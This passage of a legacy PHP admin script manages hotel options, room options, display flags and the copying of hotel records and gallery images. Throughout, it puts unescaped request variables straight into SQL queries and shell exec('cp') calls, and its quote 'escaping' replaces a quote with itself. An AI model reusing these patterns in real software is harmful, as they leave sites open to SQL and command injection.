db_query($sql); error_msg("document.location.reload();","script"); } // 호텔옵션 순서수정(2014-11-05) elseif($SqlType=="order_opt_chg") { if(!$hseq) exit; for($i=0 ;$i<count($opid_arr) ;$i++) { $opid = $opid_arr[$i]; $order_num = $order_num_arr[$i]; if ($opid and $order_num) { $sql = "update {$table}_OPTION set order_num='{$order_num}' where opid='{$opid}' and hseq='{$hseq}' "; db_query($sql); } } error_msg("document.location.reload();","script"); } // 호텔옵션 수정(2014-11-05) else if($SqlType=="option_updt") { if(!$hseq or !$opid) exit; $op_price_cost = str_replace(",","",$op_price_cost); $op_price_sell = str_replace(",","",$op_price_sell); $op_price_agent = str_replace(",","",$op_price_agent); $sql = "update {$table}_OPTION set "; $sql .= " op_nm='{$op_nm}', "; $sql .= " op_price_cost='{$op_price_cost}', "; $sql .= " op_price_sell='{$op_price_sell}', "; $sql .= " op_price_agent='{$op_price_agent}', "; $sql .= " order_num='{$order_num}' "; $sql .= " where hseq='{$hseq}' and opid='{$opid}' "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔옵션 삭제(2014-11-05) else if($SqlType=="option_del") { if(!$hseq or !$opid) exit; $sql = "delete from {$table}_OPTION where opid='{$opid}' and hseq='{$hseq}' "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔 룸옵션 수정(2014-11-05) else if($SqlType=="date_option_updt") { if(!$hseq or !$seq) exit; $op_price_cost = str_replace(",","",$op_price_cost); $op_price_sell = str_replace(",","",$op_price_sell); $sql = "update {$table}_DATE_OPTION set "; $sql .= " op_nm='{$op_nm}', "; $sql .= " op_price_cost='{$op_price_cost}', "; $sql .= " op_price_sell='{$op_price_sell}', "; $sql .= " order_num='{$order_num}' "; $sql .= " where hseq='{$hseq}' and seq='{$seq}' "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔 룸옵션 삭제(2014-11-05) else if($SqlType=="date_option_del") { if(!$hseq or !$seq) exit; $sql = "delete from {$table}_DATE_OPTION "; $sql .= " where hseq='{$hseq}' and seq='{$seq}' "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔 룸옵션 사용수정(2014-11-05) elseif($SqlType=="chg_date_opt_disp") { if(!$hseq or !$seq) exit; $sql = "update {$table}_DATE_OPTION set disp_yn='{$disp_yn}' where seq='{$seq}' and hseq='{$hseq}' "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔 룸옵션 저장 else if($SqlType=="date_option_ins") { if(!$hseq or !$hdidx) exit; $op_price_cost = str_replace(",","",$op_price_cost); $op_price_sell = str_replace(",","",$op_price_sell); $sql = "insert into {$table}_DATE_OPTION set "; $sql .= " hseq='{$hseq}', "; $sql .= " ridx='{$ridx}', "; $sql .= " hdidx='{$hdidx}', "; $sql .= " op_nm='{$op_nm}', "; $sql .= " op_price_cost='{$op_price_cost}', "; $sql .= " op_price_sell='{$op_price_sell}', "; $sql .= " ins_dt=now() "; db_query($sql); error_msg("document.location.reload();","script"); } // 호텔 룸옵션 순서수정(2014-11-05) elseif($SqlType=="date_order_opt_chg") { if(!$hseq) exit; for($i=0 ;$i<count($seq_arr) ;$i++) { $seq = $seq_arr[$i]; $order_num = $order_num_arr[$i]; if ($seq and $order_num) { $sql = "update {$table}_DATE_OPTION set order_num='{$order_num}' where seq='{$seq}' and hseq='{$hseq}' "; db_query($sql); } } error_msg("document.location.reload();","script"); } // 갤러리정보에 룸타입ID 저장 elseif($SqlType=="chg_ridx") { if(!$g_seq) exit; $sql="update {$table}_GALLERY set ridx_ga='{$ridx_ga}' where g_seq='{$g_seq}' "; db_query($sql); exit; } // 일괄 사용변경 else if($SqlType=="disp_yn_updt") { if (!$disp_yn) exit; for($i=0 ; $i<count($h_seq_arr) ; $i++){ $hseq = $h_seq_arr[$i]; $sql = "update {$table} set disp_yn='{$disp_yn}' where hseq='{$hseq}' "; db_query($sql); } error_msg("document.location.reload();","script"); } // 호텔상품 복사 else if($SqlType=="hotel_copy") { if(!$hseq) exit; // // 기본정보 복사 // $data = hotel_list(" and hseq='{$hseq}' "); $row=$data[0]; // 대표사진복사 $new_fn = ""; if($row['img1']) { // 이미지명 새로생성 $new_fn = getUniqueFileName($row['img1']); // 이전이미지 $orig_path = $upload.$row['img1']; $orig_path_thum = $upload_thum.$row['img1']; // 새이미지 $new_path = $upload.$new_fn; $new_path_thum = $upload_thum.$new_fn; exec("cp -p {$orig_path} {$new_path}"); exec("cp -p {$orig_path_thum} {$new_path_thum}"); } $sql = "insert into {$table} set "; //$sql .= " seller_id='{$seller_id}'"; //$sql .= ",seller_nm='{$seller_nm}'"; $sql .= "hotel_nm='".$row['hotel_nm']."'"; $sql .= ",hotel_nm_eng='".$row['hotel_nm_eng']."'"; $sql .= ",hotel_code='".$row['hotel_code']."' "; $sql .= ",level_cd='".$row['level_cd']."' "; $sql .= ",hotel_div='".$row['hotel_div']."' "; $sql .= ",room_count='".$row['room_count']."' "; $sql .= " ,areaa_cd='".$row['areaa_cd']."'"; $sql .= " ,areab_cd='".$row['areab_cd']."'"; $sql .= " ,areac_cd='".$row['areac_cd']."'"; $sql .= " ,b_uid='".$b_uid."'"; $sql .= " ,m_uid='".$m_uid."'"; $sql .= " ,s_uid='".$s_uid."'"; $sql .=" ,g_type='".$row['g_type']."' "; $sql .= ",subway_city_cd='".$row['subway_city_cd']."' "; $sql .= ",subway_area_cd1='".$row['subway_area_cd1']."' "; $sql .= ",subway_area_cd2='".$row['subway_area_cd2']."' "; $sql .= ",subway_area_cd3='".$row['subway_area_cd3']."' "; $sql .= ",zipcode='".$row['zipcode']."' "; $sql .= ",address='".$row['address']."' "; $sql .= ",address_d='".$row['address_d']."' "; $sql .= ",tel='".$row['tel']."' "; $sql .= ",fax='".$row['fax']."' "; $sql .= ",url='".$row['url']."' "; $sql .= ",hotel_thema='".$row['hotel_thema']."' "; $sql .= ",equipment='".$row['equipment']."'"; $sql .= ",img1='".$new_fn."' "; $sql .= ",hotel_brief='".str_replace("'","'",$row['hotel_brief'])."' "; $sql .= ",checkin_intro='".str_replace("'","'",$row['checkin_intro'])."' "; $sql .= ",hotel_intro='".str_replace("'","'",$row['hotel_intro'])."' "; $sql .= ",sisul_intro='".str_replace("'","'",$row['sisul_intro'])."' "; $sql .= ",sisul2_intro='".str_replace("'","'",$row['sisul2_intro'])."' "; $sql .= ",etc_intro='".str_replace("'","'",$row['etc_intro'])."' "; $sql .= ",rule_intro='".str_replace("'","'",$row['rule_intro'])."' "; $sql .= ",user_intro='".str_replace("'","'",$row['user_intro'])."' "; $sql .= ",map_x='".$row['map_x']."' "; $sql .= ",map_y='".$row['map_y']."' "; $sql .= ",admin_id='".$row['admin_id']."' "; $sql .= ",admin_nm='".$row['admin_nm']."' "; //$sql .= ",review_url='{$review_url}' "; // 외환 $sql.=" ,exchange_fg='".$row['exchange_fg']."' "; $sql.=" ,exid='".$row['exid']."' "; $sql .= ",ins_dt=now() "; db_query($sql); // new ID $gid=db_insert_id(); // // 관광정보 복사 // $sql = "select * from TB_HOTEL_PLACE where h_seq='{$hseq}' "; $rs = db_query($sql); while($r=db_fetch_array($rs)){ $sql = "insert into TB_HOTEL_PLACE set h_seq='{$gid}',p_seq='".$r['p_seq']."',ins_dt=now() "; db_query($sql); } // 갤러리 카피 $data_gallery=to_get_info_gallery("hotel",$seq); if(is_array($data_gallery)){foreach($data_gallery as $v) { $img=$v['img']; // 이미지명 새로생성 $new_fn = getUniqueFileName($img); // 이전이미지 $orig_path = $upload.$img; $orig_path_thum = $upload_thum.$img; // 새이미지 $new_path = $upload.$new_fn; $new_path_thum = $upload_thum.$new_fn; @exec("cp -p {$orig_path} {$new_path}"); @exec("cp -p {$orig_path_thum} {$new_path_thum}"); $sql="insert into TB_HOTEL_GALLERY set hotel_seq='{$gid}',gallery_cd='{$v[gallery_cd]}',img='{$new_fn}',ins_dt=now()"; db_query($sql); }} error_msg("document.location.reload()","script"); } ?>